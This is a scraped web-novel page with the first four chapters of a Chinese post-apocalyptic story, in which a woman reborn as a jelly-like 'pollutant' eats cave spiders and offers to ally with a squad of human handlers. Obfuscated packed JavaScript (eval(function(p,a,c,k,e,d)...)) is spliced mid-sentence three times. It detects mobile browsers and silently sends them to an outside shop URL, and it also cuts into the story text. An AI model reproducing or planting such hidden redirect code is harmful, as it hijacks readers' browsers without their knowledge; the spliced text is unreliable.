《穿成废土污染物怎么办》 1. 污染时代 简岁茫然盯着眼前陌生的场景。 你能想象叶片比人还大的植物吗？ 反正她没见过，叶片浓郁的墨绿色仿佛要滴落下来，微微鼓起的叶脉宛如血管。 不是，什么情况？ 她记得自己被室友拉去参加一场薅羊毛活动，填写问卷并体验主办方新产品就能获得一笔酬金的那种。 本来打算薅完去和室友吃顿火锅来着！ 她这是在做梦吗？ 被绑架了？ 难道穿越了？ 四周望去都是茂密草木，郁郁葱葱的绿色挤满视野，像是某种只出现在电影里的原始森林。 她长这么大没遇到过这么诡异的事，想往前走看看情况，打算抬腿的时候，又觉得有点说不出来的怪异—— 该怎么说呢，你知道抬腿是一个很常见的动作对吧，但她做不到！ 因为她好像根本没有腿！ 不仅如此，她也没有手和头！她似乎是一团什么东西？？ 简岁茫然地向前蠕动几下，结果用劲过头，直接猛地滚了一圈。 视野天旋地转的那一瞬，她看到无数巨大的树直冲云霄，繁盛的叶片挤成一片墨绿色穹顶。 没有阳光，空气湿冷而阴沉。 而她吧唧摔在巨大叶片底下，渺小得宛如新世界的一只蚂蚁。 “……” 虽然狼狈，但总算还能动弹，不然她会怀疑自己变成了一朵蘑菇。 虽然现在情况也没好到哪里去吧。 所以她到底是个什么东西？ 简岁挪到附近的水洼，终于看清水面倒影里的自己—— 像团半透明小果冻似的，甚至能透过躯体隐约看见身后茂密的树木。 长得也太简约了吧…… 跟周围壮丽的森林景观格格不入，有种穿进3A大作但唯独忘记给她建模的敷衍感。 最神奇的是明明没有眼睛耳朵，居然能看见也能听见！ 这还是生物吗老天爷！！ 简岁感觉自己不存在的头真的好痛。 水面倒影里，一团黑影正在悄然接近。 那是一个被工装裤和冲锋衣包裹得严严实实的人影，戴着黑色金属质感的全包裹面罩，就在身后不远的地方。 ……人类？ 刚刚她甚至想过，这个世界的植物高大得简直违反常理，会不会人类已经灭亡。 现在看来没有。 这的确是个令人心安的消息。 简岁想试着跟这个突然出现的人友好交流，但以她现在的样子，不知道突然发出人类的声音会不会太冒昧？ 结果就迟疑了这么一秒钟，对方便举起一把漆黑手枪，将黑洞洞的枪口对准了简岁，发出年轻女孩的声音—— “外围区坐标113.1、274.5，发现污染物，处理员编号354332李麦怡。” 这是李麦怡入职污染处理中心后第一次出任务。 任务等级只有D，危险程度不高，但她是新纪元长大的孩子，从小见过数不清的污染致死事件，对污染的畏惧与痛恨深深刻在心中。 137年前，污染席卷全球，一夜之间到处都是异变的怪物，刚从熟睡中醒来的人类毫无抵抗之力，死伤惨重。 那一天是旧纪元的结束，末日降临了。 幸存的人类付出惨痛代价才建立了如今的安全区，人口已不足原来的十分之一，而且还在减少。 所有人都知道，眼前的和平只是暂时的，只要污染还在，人类就永远站在悬崖边。 为了应对层出不穷的污染事件，人类成立了污染处理中心。 而像李麦怡这样负责猎杀污染物的人，被称为污染处理员。 李麦怡紧紧盯着眼前那只果冻般的污染物，完全没被它弱小的外表蒙蔽。 污染物的形态千奇百怪，长成什么样都不稀奇。 李麦怡，要冷静！要果断！ 她深吸一口气，扣动手枪扳机—— “等等等——” 简岁大惊失色，可想逃已经来不及了，她的移动速度慢得令人发指，根本没可能逃脱子弹的追击。 子弹划破湿冷空气，带着巨大动能射进那团果冻般的躯体，猛地轰出一个拳头大小的空洞。 简岁甚至没感觉到疼痛，直接眼前一黑。 【您已死亡。】 啊？？？？ 等等，等等啊！！ 不对，为什么脑子里有个声音在说话！！ 她不要这么快死啊！！ 【正在重构……】 ………… 【重构完成。】 …………诶？ 漏风的大洞瞬间被补好，简岁懵在原地，很难想象她在这么短的时间内死了又活了。 李麦怡也愣住了。 几乎一眨眼的时间，那只污染物就恢复了原样。 如果不是虎口处还因枪支反震微微发麻，她恍惚以为自己根本没开过枪。 面罩下，李麦怡吞咽口水，脸色变得苍白。 不、不对啊……看起来最多是只D级污染物，怎么可能重构得这么快？ 不可能的、这不可能…… 因为是第一次出任务，出发之前，她还特地复习了一遍《污染处理手册》里的内容，说是烂熟于心也不为过。 D级污染物的重构速度是每次一小时，只要在一小时内收容污染原核，就能把它彻底杀死。 就算是A级污染物，也需要三分钟。 可……那只污染物刚刚眨眼间就重构了，或许只有几秒。 她甚至连污染原核在哪都没看见。 “砰！” “砰！” 她连续开出两枪，子弹的冲击力让那只污染物咕噜噜滚出去。 可当它爬起来，子弹孔便消失不见。 李麦怡额头上开始冒出冷汗，呼吸急促，甚至能听到自己剧烈的心跳声，面罩后的目光满是惊恐。 这样的重构速度，以她的能力根本就杀不死，连续开枪只会激怒它！ 为什么D级任务区域会有这么强的污染物！？ 是S级？ 同伴就在附近，但她不敢出声呼唤，她所在的只是一支D级处理小队，真撞上S级污染物，来了也是送死。 遇到这种超出常识的现象，别说她一个新人，就算是经验老到的处理员来了也得吓破胆。 李麦怡僵在原地，清楚感觉到全身血液渐渐发凉，那是死亡逼近的征兆。 她甚至不敢逃跑。 S级污染物每次出现都是城市级的大灾难，她一个D级处理员该怎么与死亡赛跑？ 她有点欲哭无泪了。 她不懂自己怎么总是这么倒霉？这种理论上不可能发生的意外也能遇到。 她才刚入职，第一个月的工资都没发。 她还想攒钱带妈妈去第三区的中心医院看病的。 简岁也不懂，这人为什么突然一副很害怕的样子？明明挨枪子儿的是她诶！ 三枪！！真的很莫名其妙啊！ 但看对方哆哆嗦嗦的模样，她忍住了即将脱口而出的人话。 好好好，我记住你了！ 所以她现在到底是什么东西？能把人吓成这样？ 简岁用不存在的脑子恼怒地思考着，往另一边滚去，消失在浓郁的绿叶中。 森林寂静无声，只有树叶沙沙作响。 走、走了？ 李麦怡回过神，才发觉自己手脚冰凉，呼出的水汽糊在面罩内部，视线都模糊了。 得、得救了！ 劫后重生的喜悦冲击着大脑，她来不及多想为什么那只污染物这么简单就放过自己，连忙往回跑。 她一刻都不敢停下，直到看见三名队友的身影，才长舒一口气，揭开面罩擦了擦满头的冷汗。 “别随便摘面罩。”队友韩雨香瞥她一眼，“这里不是安全区，万一被污染倒霉的还不是我们？” 处理员戴的是研究所特制的面罩，能有效过滤空气中的污染。 考虑到过滤效率，面罩封闭性很高，所以尽管内置了氧气循环系统，戴太久肯定还是会不舒服。 不过这片区域的污染浓度基本在20%-40%之间，她们这些处理者本身就受过污染，对污染的抵抗力更高，短暂摘下面罩透气问题不大。 要是进高级污染区就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其实那种重构速度，说不定是S级污染物，但有点太耸人听闻了。 而且重构速度只是污染物定级的标准之一，她也不敢肯定，或许是重构比较快的A级？ 不过就算是A级污染物，也远超他们这支D级小队的能力范围，平常甚至不会出现在他们的任务版面里。 李麦怡说完自己都神情恍惚——如果不是弹匣里的确少了三颗子弹的话。 果然，戴宸鼻腔里轻蔑地哼了声：“没收获就没收获，还A级污染物，真碰到A级，你还能回来？别以为是新人我们就惯着，能干就干、干不了滚，少唧唧歪歪的。” “我说的都是真的！” 李麦怡看看他，又看看一边面无表情的韩雨香，剩下那个队员更是心不在焉，显然没认真听她说话。 “我还打中了它！”她打开弹匣，给他们看缺少的子弹，“按处理员规则第四条，一旦任务区域内出现超等级污染物，应立即上报并撤离，队长，我们……” “有完没完？”戴宸不耐烦皱眉，“我们这是D级任务，信息部的定级不会有错，如果区域内真出现A级污染物，那边肯定会下发预警，我问你，有预警吗？” 李麦怡被问住了。 信息部是最灵通的，任何污染浓度变化都逃脱不了信息部的监察。 没通知，那就是一切如常。 戴宸本来就看不上李麦怡，他一开始看中的是另一名有经验的处理员，但对方去了别的小队，李麦怡是系统自动递补进来的。 他一直都担心这女的拖后腿，这下真要应验了：“受不了，本来也没指望你帮什么忙，至少别添乱行吗？” “戴哥消消气、消消气。”赵河插进来打圆场，“小李第一次出任务，估计心里害怕、打退堂鼓呢，小姑娘是这样的，咱别计较，一会儿遇到污染物，还不得靠戴哥出手！” “小李你也是的，编瞎话也不知道编像样点，还不快给戴哥道歉！” 李麦怡的话被堵住。 她一样是正儿八经经过中心测试后培训入职的，不是什么只知道害怕的小姑娘。 作为一名正式的污染处理员，她只不过根据现场情况作出个人判断，并将信息与队友共享，信不信是他们的事。 扯什么小姑娘，这让她很火大。 “我没编瞎话，不信就算了。” 李麦怡不肯道歉、也不再说话，将手枪的子弹重新填满，闷头往雷达上标注的任务最终地点走去。 她想着遇见的那只污染物，明明那么小、那么普通，为什么会有那么可怕的重构速度？ 那到底是什么？ 2. 深穴蜘蛛（1） 简岁后悔，很后悔，她就不该信那什么自称系统的鬼话，跑来这么阴森森的地方。 事情还要从二十分钟前说起。 跟那个持枪的人类分开后，她一直在想死亡时出现的声音。 那是一个带着些许机械质感的女人声音，像Ai合成的，但之后不管怎么呼唤，都没再出现。 直到简岁路过一处被宽叶草掩盖的低矮洞穴，脑海里再次响了一声。 【系统提示：您已进入D级污染物「深穴蜘蛛」的辐射区域，污染度38%，请做好战斗准备。】 简岁：啊？污染物？战斗？我吗？ 你要不看看你在对一颗小果冻说什么？ 简岁在地上熟练地打了个滚。 身板比豆腐脆，移速比乌龟慢，攻击力为0，拿什么和污染物战斗。 对了，污染物是什么？ 系统沉默一秒，往她脑子里库库发送了几十页相关资料。 原来这是一个高度污染的世界，植物、动物，包括人类在内都有可能异变成怪物。 照这么说…… 她也变异成污染物了啊？难怪那个人类看见她就猛猛开枪！！ 想起自己一上来就被杀掉三次，简岁好伤心。 变成污染物就算了，还这么弱，现在还想让她去打蜘蛛！ 简岁：“人类将污染物划分为SABCDE……我不会是最低的E级吧？” 毕竟看起来真的很菜啊。 系统无响应。 简岁：“那让我打污染物，总得给我点道具？” “至少给把武器吧！” 系统无响应。 简岁气得牙痒痒，犹豫几秒还是一头扎进那片茂盛的宽叶草中。 从之前那三枪来看，她应该不会轻易死掉，而且系统没有让她这个宿主去送死的理由。 她或许真能杀掉这只污染物。 虽然不知道它一个污染物为什么被安排去打污染物。 一进入洞穴，迎面吹来潮湿阴冷的风，夹杂着不明生物的腐烂气味。 洞穴内漆黑无比，明明才进入不到一米，就已经看不见任何东西。 当视野受阻时，听觉就会被无限放大，连一滴水顺着顶部岩石滑落的声音都如此清晰。 简岁小心谨慎前行，不知过了多久，她听到一阵细微的敲击声，像是人坚硬的指甲一下下戳在岩石洞壁上。 哒哒哒、哒哒哒。 她下意识屏住呼吸停下，侧耳倾听。 越来越多的敲击声汇集在狭窄的洞穴中，汇成一场密密麻麻的小雨。 小雨附着在每一处裸露的岩石表面，而后越来越多、越来越重…… 拥挤间，一颗雨滴啪嗒坠落，正好砸在简岁身上。 如果是人类简岁，那她会下意识抬手抹一把。 但她现在是果冻状污染物简岁，所以她只能被动地感受着那颗“雨滴”停留一瞬，然后张开尖细的八条节肢，踩着她的皮肤爬行，留下一连串恶心的酥麻感。 是蜘蛛。 啊啊啊啊蜘蛛啊！！！！ 简岁浑身一抖，弹开身上攀爬的蜘蛛，猛地往前滚去。 如果有光的话，此刻她就会看见无数只指甲盖大小的蜘蛛悬挂在洞壁表面，密密麻麻，如同洞穴的生物铠甲。 无数对眼睛虎视眈眈地注视着她这个不速之客。 于是她一动，像某种信号，静止的蜘蛛暴动，接二连三往下坠落。 顷刻间，洞穴内大雨倾盆，下起了冰冷的蜘蛛雨。 数不清的小蜘蛛前仆后继，几乎将简岁弱小的身躯淹没。 简岁甚至能闻到蜘蛛身上阴冷潮湿的气味，像一张张牙舞爪的密网。 它们逮住猎物，便疯狂地蠕动、撕扯，想撕开猎物的皮肤、钻进去，好抽筋扒皮、吞噬殆尽。 无论简岁怎么挣扎，都始终被源源不断的蜘蛛群紧紧包裹在中间。 简岁感到窒息。 她觉得自己仿佛是一只奶油小蛋糕，她是柔软的蛋糕胚，蜘蛛则是外层黏腻的奶油。 人会同时吃掉奶油和蛋糕胚，而现在，奶油想单独吃掉蛋糕胚。 一只口器锋利的小蜘蛛割开简岁的外皮，它发出不可闻的激动信号，呼唤同伴过来。 而它则先一步将口器埋进破损的外皮之下，兴奋地往里钻—— 可忽然，它僵住了。 它的口器在震颤，灵活的八条节肢也好像生锈了似的。 强大到极点的污染从这只弱小的污染物体内喷涌而出，比黑暗还要沉重浓郁。 它所有赶来的同伴仿佛一瞬间被按下暂停键，所有蜘蛛都在颤抖。 作为低智污染物，它们本不应该知道什么是恐惧。 但它们现在竟然感到很害怕。 那是一种绝对的压制、自上而下的俯视与来自灵魂的臣服感。 它们捕食了不该捕食的存在。 洞穴也在震颤，深处传来急切的嘶鸣声，经由洞壁形成阵阵悠远的回声。 简岁知道自己被撕破了一道口子。 很奇怪，在发现小蜘蛛群想吃掉自己的时候，她心里的恶心恐惧居然一下子烟消云散。 她闻到了污染的芬芳。 简岁内心油然而生的想法只有一个—— 她也饿了。 其实蛋糕胚也可以吃奶油的啊。 她都成污染物了，吃点蜘蛛奶油怎么了？ 于是简岁无师自通、果冻般的身体开始溶解，她像一滩没有形状的水缓缓流动。 失去支撑的小蜘蛛啪嗒啪嗒掉下来，被包围而来的半透明液体全部裹进去。 它们像包饺子一样，被简岁包进肚子里，变成了馅料。 她现在是一颗蜘蛛馅的果冻。 如果此时有人观察简岁，甚至能透过她半透明的外表看见内部惊恐而拥挤的小蜘蛛们。 这些都是D级污染物衍生出的更低级污染物，连污染原核都没有形成。 它们想捕食简岁，简岁当然也可以反过来捕食它们。 污染以污染为食，干饭是一种本能。 渐渐的，小蜘蛛们不动了，而后像一滴滴雨水落入大海，消融不见。 简岁这才变回圆滚滚的简约形态，满足地打了个嗝，继续往深处探索。 幸存的小蜘蛛瑟瑟发抖，完全不敢再靠近，她一动，就如退潮一般奔向洞穴深处。 洞穴里终于不下雨了。 简岁不知道的是，因为她这不经意的举动，洞穴内的污染浓度在几秒钟内飙升接近一倍，达到了惊人的66%。 ………… 安全区第十四区，污染处理中心，信息部。 房间靠西一整面墙都是巨大的电子显示屏，上面囊括了整个十四区以及周边外围区的实时污染浓度检测情况，以及代表处理员位置的闪烁红点。 这些内容又被分割成数百个小窗、投射在不同监测设备上，每台设备前都坐着一名穿统一工作服的数据分析员。 徐茂从事这一行已经五年，显示屏上跳动变化的波纹数值对他来说跟吃饭睡觉一样熟悉，看一眼就知道有没有异常。 他负责的这块区域有三支小队在执行任务，都是D级，没什么风险。 其中一支解决完任务目标，已经准备收队回安全区了。 四周污染浓度也一直很平稳，保持在25%-35%之间。 很好，今天也是工作顺利的一天。 徐茂其实之前也想做污染处理员，虽然有风险，但那可比分析员赚钱多了，而且社会地位高，不管做什么上面都给特权，走在人堆里简直扬眉吐气。 哪像分析员呀，每天就两点一线坐办公室，听说在全球污染之前，他这种就叫社畜或者打工狗，哪种都不好听。 不过现在环境不一样，有些人也羡慕他工作稳定又体面，上周家里给介绍的相亲对象，就对他这工作很满意。 毕竟大污染时代，跟污染沾边的听起来都高贵。 但只有他自己清楚这工作多枯燥，你还不能吐槽，因为枯燥无聊是好事，不然数据一异常，就代表要死人了。 徐茂有一搭没一搭地走神，打算下班约那个相亲对象去吃饭。 那妹子长得一般吧，不是他喜欢的类型，不过对他很热情，他不介意一起吃个饭什么的…… 就在这时，显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“重复！该污染物已被二次污染！污染浓度66%！0743小队立即撤离！” 听到动静，戴眼镜的高个女人快步走来：“什么情况？” 徐茂一见到她脸色就变得谄媚：“江、江部长！是二次污染！已经下发预警了！但0743小队没有回复，好像已经进入任务地点。” 江越梅拨开他，皱紧眉头凑近显示器，代表0743的四枚红点与此次污染源头彻底重叠。 来不及了。 “通知执行部，立即派一名A级处理员去支援。” 徐茂小心提醒：“部长，二次污染后只有66%污染度，刚到B级而已，派B级处理员就行了吧？” A级处理员是稀有人才，平常都是抠搜着用的，能用B级解决的干嘛浪费A级处理员啊。 徐茂觉得自己想得可周到了。 末世嘛，资源紧张，人才要用在刀刃上。 江越梅冷冷瞥他一眼：“蠢货。” 污染的传播向来是自上而下的，高级污染物的辐射区域里会诞生低级污染物。 而所谓二次污染，就是指污染物接触到更高级的污染物之后进化了。 也就是说，除了这只进化后的B级污染物，现场必定还有一只更强的，污染度在66%之上，或许是更厉害的B级，也很可能是A级。 尽早派出A级处理员是最保险的做法。 徐茂被骂得脸皮一红，嘴皮子嗫嚅着却不敢反驳。 江越梅是十四区信息部的副部长，上百个人都得听她命令，给徐茂十个胆子也不敢惹。 别看他每天在工位上幻想当污染处理员耍帅，其实又很宝贝现在这个稳定的工作。 毕竟当初去参加处理员入职测试，没通过。 “是、是。”徐茂只敢在心里暗骂一声老巫婆，赶紧往执行部发去信息。 做完这一切，他跌坐回工位上满头大汗，完全不知道怎么会突然出现这种紧急情况。 代表0743小队的红点已经进入洞穴，他们还不知道任务目标已经进化到B级。 估计要全军覆没了，哎。 3. 深穴蜘蛛（2） 简岁继续深入，抵达洞穴深处。 这里意外的没那么黑，岩缝中泄下一缕天光，虽然依旧昏暗，但足以照出悬在空中的白色大网，几乎笼罩住整个洞穴顶部。 好大一张蜘蛛网啊。 她不由自主往上看。 纤细蛛丝被编织成精致形状，在黑暗中若隐若现，偶尔反射荧色白光，惨白又华丽。 但跟普通蛛网万花筒般的对称花纹不同，这张蜘蛛网上勾勒出密密麻麻的人脸，有的饱满、有的简陋不堪，互相挤着挨着。 每一张人脸都呈现出不同的表情，有人皱着眉大笑、有人瞪着眼落泪，有的甚至被挤变形，扭曲而狰狞。 所有蛛丝人脸都悬挂在洞穴顶部，死死凝视着底下的人，仿佛随时会挣脱蛛网的束缚，扑而食之。 简岁不由一阵恶寒。 按理说蜘蛛不懂人类，这么多惟妙惟肖的人脸它从哪里临摹的？ 它的模特是谁？ 这很难不让人多想。 哒、哒、哒。 黑暗的角落里传来清脆的敲击声，比之前小蜘蛛的脚步更沉重、更响亮。 动静越来越近，庞大如小山的轮廓也逐渐暴露在视野中，竟是一只躯体膨胀的铁黑色大蜘蛛！ 它的八条腿闪着接近金属的光泽，尖锐顶部每一下都狠狠戳进岩石地面里。 弧形背部则有数十个凸起，长出锋利尖刺。 密密麻麻的小蜘蛛们紧紧依偎在它身边，形成一片深色阴影。 这就是系统说的「深穴蜘蛛」？ 没想到污染的力量如此庞大，竟能让本身只有手指头大小的蜘蛛膨胀成移动的小山丘。 简岁感到惊奇又兴奋。 这么说，她这颗小果冻说不定也能做大做强！谁还不是只污染物了！ 她需要更多的污染来强化自己。 简岁激动地围着大蜘蛛滚来滚去，粗略观察了一圈，最后有点遗憾。 路上她想过能不能像吃小蜘蛛一样，把大蜘蛛也吞了消化掉。 但现在她知道不可能的，这深穴蜘蛛实在太大了，对比之下简岁简直小得可爱，她把自己全部抻平都不够擀一张饺子皮。 深穴蜘蛛也在观察她，谨慎地一动不敢动，以往都是它狩猎入侵者，可这次它打心底里忌惮。 这只不明来历的同类散发出强烈的进食欲望，打量它就像打量一盘刚上蒸锅的海鲜。 放出去捕猎的小蜘蛛们已经折损大半，有前车之鉴在，深穴蜘蛛不敢轻敌。 它黝黑的眼警惕盯着滚来滚去的简岁，发现对方好像真的没什么防备，忽然疯狂地摇摆口器！ 刹那间数百根白色蛛丝极速射出！紧紧裹住！ 简岁眼前一白，全身都被黏黏糊糊的东西捆住了：“……” 口水！有口水啊！太不卫生了！ 白色的蛛丝茧不动了，柔弱地倒在角落里，圆滚滚的一颗，看起来那么无害。 深穴蜘蛛不由松了口气。 可就在这时，蛛丝茧缓缓塌陷，某种半透明物质从蛛丝细微的缝隙里渗出。 像液体，又远比液体更轻盈。 像是烟雾，却比烟雾更凝实。 此后与简岁交手的所有人和污染物都会发现一件事—— 无害的外表是她最大的谎言，她本身根本没有具体形态。 她是虚无、她是所有，她是世界的源头，也是世界的终结。 ………… 与此同时，0743处理员小队。 “戴哥，这没信号啊，咱们通讯都断了。” 0743小队的赵河甩着手里的通讯设备，试图找出一丝信号。 他们用的通讯设备是中心研究所提供的，出这么多次任务从没失灵过。 一直以来只有B级及以上污染物的辐射区域才能影响到硬件设备，这种D级任务，怎么会？ 戴宸皱皱眉：“可能用太久损耗了，回去记得报修，让后勤部提供新装备吧，我们速战速决。” “好嘞，都听戴哥的。” 赵河根本没多想，直接收起设备，美滋滋跟在后面。 别看他们是一支D级处理小队，但队长戴哥污染度39%，其实有接近C级处理员的水平了，而且他的异能非常之牛逼。 人类遭受污染之后，会有两种结局。 一种是彻底污染，成为没有理智和正常情感的怪物，另一种则是因祸得福，异变的同时随机获得超自然能力。 大部分被污染的人都是前一种结局，而后面的幸运儿，人们称之为异能者。 并非所有异能者都会加入污染处理中心，也并非所有处理员都是异能者，但最牛逼的那群处理员一定是。 因为异能者不仅有异能，受过污染后，他们的体能也比普通人高出好几个档次，说是脱胎换骨也不为过。 赵河看着自家队长挺拔魁梧的背影，眼底的羡慕藏也藏不住。 再看看旁边的韩雨香，那可是顶级大美女，追她的人多如牛毛，也就戴哥能得手。 李麦怡独自走在队伍最后，始终没放松警惕。 自从见过那只奇怪的污染物，她的心就一直悬而不落，很担心突然生出什么变故。 尤其进洞之后，通讯信号也断了。 D级污染物的辐射区域不该有这么强，是因为它在附近吗？ 李麦怡心里七上八下，还以为接下来的任务会很棘手，但更奇怪的是，进洞后一路都没遇到任何阻拦，连一只低级污染物都没有。 洞外都遇到过好几只E级小喽啰，为什么里面反而没有？ 就好像……有人已经清理过似的。 0743小队顺利抵达洞穴深处，尽管才闹过矛盾，四人还是迅速集结成队。 角落阴影里，庞大如山丘的深穴蜘蛛转过身，没想到还会有第二批不速之客。 它一动，深穴便震颤，背部尖刺几乎抵到洞穴顶部，令人心惊胆战。 “这、这么大！”赵河惊呼一声，握着枪的手有点出汗。 这污染物确实比想象中可怕，不过再怎么大也就是只D级，戴宸没当一回事。 他挺直腰背，大步走上前，同时手掌中凝结出一团亮白色闪电，伴随着噼里啪啦的声响射向洞穴顶部的人脸蛛网。 电流沿着蛛丝游走，勾勒出一张张扭曲的人脸形状，刹那间照亮整个空间。 深穴蜘蛛前进的步伐骤然停滞，漆黑眼睛里反射出冷光，竟露出几分警惕的模样。 身边的小蜘蛛们也安静下来。 「异能：电击」 李麦怡是第一次出任务，当然也是第一次看见戴宸使用异能，当即有点明白为什么赵河那么巴结他。 异能也分三六九等，很显然，戴宸的异能攻击力十足且应用广泛，属于很不错的那档。 戴宸也清楚自己的异能有多惹眼，每个人第一次见到都会大吃一惊。 他风轻云淡道：“这东西交给我解决，你们保护好雨香就行，懂吗？” “戴哥放心！”赵河立即狗腿地回应，迅速挡在韩雨香面前。 李麦怡则翻了个白眼，将手枪攥得更紧，冷静观察四周情况。 总觉得哪里不对。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718986|144811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钢铁小山似的大蜘蛛还停在角落边，没有太靠近他们，像是被戴宸放出的闪电威慑住了。 戴宸再次凝聚出更强烈的闪电，盯着畏畏缩缩的污染物蜘蛛，自信逼近。 真的……是因为害怕闪电吗？ 李麦怡有种不祥的预感。 下一秒，闪电射向巨大蜘蛛，瞬间传遍整个躯体，像一颗缠绕雷电的球。 蜘蛛的八条腿不由自主地抽搐起来，发出痛苦的声音，小蜘蛛们更是被电得噼里啪啦，宛如烧焦似的。 痛苦的嘶鸣在洞穴深处回响。 戴宸不由露出势在必得的微笑，再次抬手—— 可就在这时，一点白芒冲破闪电，带着粘稠的光泽袭向他！ “嘶嘶……” 不等戴宸反应过来，铺天盖地的蛛丝劈头盖脸落下，将他紧紧束缚，捆得像个木乃伊似的扔在地上。 戴宸脸色巨变，发现无论怎么挣扎，那些蛛丝就好像有生命似的，会随着他的力气改变松紧。 戴宸被秒了。 “……戴哥！”赵河瞪大眼睛，半晌才喊出一声，手忙脚乱朝大蜘蛛开了几枪吸引火力。 可子弹打在蜘蛛坚硬的外壳上立即被弹开，甚至没能留下伤痕。 这下所有人脸色都变了。 不管是那柔韧灵活得过分的蛛丝，还是那庞大的身躯和坚硬外壳，都根本不是D级污染物会有的强度！ “怎么会这样！！”赵河惊恐地大吼，“不是D级任务吗？为什么连戴哥都……” 声音惊扰了深穴蜘蛛，它再次吐出几道蛛丝，将赵河也绑成木乃伊，和戴宸一起倒挂在洞穴顶部的蛛网上。 两颗白色的茧摇摇晃晃，像某种献祭的神秘仪式。 李麦怡紧张地握紧武器，紧紧盯着调转方向的大蜘蛛。 它没打算放过在场的任何一个人。 就在李麦怡以为这污染物要赶尽杀绝时，它却忽然停住了。 大蜘蛛无声盯着某个方向，身边围绕的小蜘蛛更是一瞬间变得安静无比，好像看见什么天敌似的。 ——“我说真的，文明点，不要乱吐口水，不就是吃了你几个小弟吗？” 李麦怡这才发现角落里居然也躺着一颗蛛丝茧，不知道裹了什么，圆滚滚的。 说话的声音就是这颗茧发出来的。 一听到这声音，那先前还强大无比的深穴蜘蛛忽然见了鬼似的，竟猛地哒哒哒后退几步，直接缩到角落里。 小蜘蛛们更是争先恐后往它身体里钻，简直吓得屁滚尿流。 那颗圆茧逐渐瘪下去，半透明物质从十数条狭小蛛丝缝隙里流出，在地上汇聚成一个小水洼。 紧接着那水洼又变成了一只圆形的污染物小果冻。 李麦怡心神一凛：“是、是你！” 这、这不是前不久遇到过的那只污染物吗！！ 连洞穴蜘蛛都这么害怕，看来真的至少是A级！！ 毕竟傻子都看得出来，由于某种不明原因，眼前这只蜘蛛的污染度已经远不止信息里写的38%！ 简岁没想到大蜘蛛直接发疯了，疯狂吐丝，把她里三层外三层地包裹住，害她废了点时间才出来。 她认出旁边全副武装的人类女孩。 手里那把枪她也认识。 嗯，杀了她三次。 简岁笑眯眯看着她：“是我，没事，别怕，我这人最大的优点就是不记仇。” “对了，这蜘蛛刚刚朝我吐口水，没礼貌，我得先揍它一顿。” 您、您管这叫不记仇啊？ 李麦怡顿时汗流浃背了。 4. 深穴蜘蛛（3） 简岁主动说：“你们是来这边做任务的吧？巧了，我的目标也是这只大蜘蛛，不如我们合作？” 系统只让她解决掉这只深穴蜘蛛，可没说不能找帮手。 反正大家目标一致，敌人的敌人就是朋友嘛。 这些是专业处理污染物的人，经验丰富、装备齐全，正好都是简岁缺少的。 更何况简岁灵魂还是人类，虽然以前总是嚷嚷着不要做人了，但种族归属感多少还有。 看着突然口吐人言的污染物，李麦怡心里突突直跳。 确实听说高级污染物能拥有智慧，但思维说话方式都这么像人，也太可怕了吧？ 这果冻状的东西到底什么来历？ 而且不知道是不是错觉，它和以前见过的那些邪恶恐怖的污染物不同，似乎对人类没什么恶意。 它还提出要合作。 污染捕食污染的确也是如今食物链的一环，它可能真想猎杀那只深穴蜘蛛。 或许它不会伤害自己？ 但万一杀掉蜘蛛后，它立即毁约杀掉0743所有人呢。 污染几乎毁灭人类文明，她总不能去赌一只污染物是否会信守承诺。 李麦怡握着枪很忐忑，往后悄悄退了一步，身后还有队友韩雨香。 韩雨香也是异能者，但偏向于辅助系，这种情况下只能算半个战力。 她话很少，即使是这种紧张的局面，竟然也能一声不吭。 她有一双非常精致优美的眼睛，瞳色偏浅，隔着过滤面罩上长形的透明框望着前方。 准确地说，她在看着简岁。 忽然，韩雨香往前一步：“我们的确是污染处理小队，编号0743，我们接受合作。” 李麦怡震惊转头。 韩雨香从冲锋衣手臂外侧的夹层里抽出一把冰蓝色短刃，头也不回地道：“我们难道有的选？” 李麦怡没说话，她还是有点犹豫。 她通过测试成为处理员的时候简直春风得意，想象过自己如何又酷又帅地完成任务，也担心过任务失败妈妈一个人该怎么办。 唯独没想过现在这种情况—— 大部分处理员工作到退休可能都不会遇见这么荒谬的事。 她们居然在商量和污染物合作、去猎杀另一只污染物。 洞顶的蛛网上，戴宸和赵河被蛛丝包裹得不能动弹，俨然已经是废物两个。 韩雨香语气很平静：“清醒点，那只蜘蛛被二次污染，已经接近B级了。” 戴宸虽然自傲轻敌，但实力在那儿，能把他秒杀，这只大蜘蛛绝对远超D级。 没猜错的话，是被二次污染了。 她没见过简岁变态的重构速度，但她知道，能让深穴蜘蛛直接进化到B级，这只看似平平无奇的污染物，污染度只会更高。 本来胜算就几乎没有，一旦这只不明污染物也加入猎杀，他们0743小队的死亡率将直接变成毫无悬念的100%。 不是赌不赌的问题，是别无选择。 韩雨香不是第一次出任务，对这种错综复杂的局面看得更清楚。 李麦怡也不傻，最终心一横，还是选择放下手枪，心脏仿佛随时要跳出嗓子眼：“……好吧，你想怎么合作？” ——“你们疯了？” 上方垂挂的蛛丝茧突然剧烈扭动，戴宸咬牙切齿的声音传来，“跟污染物合作？你们这是找死！中心那边知道了我们所有人都得完蛋！我拒绝！” 紧接着赵河也附和：“就是啊！韩姐、小李！你们真是昏头了！怎么能信污染物的话，哎！让我怎么说你们！” 戴宸：“雨香！你听我说，先把我救下来，咱们再商量作战，我刚刚是没准备好，否则这只蜘蛛根本不是我的对手！难道你宁愿相信污染物都不信我？” “韩姐！小李年轻天真就算了，韩姐你可不能犯傻呀！” 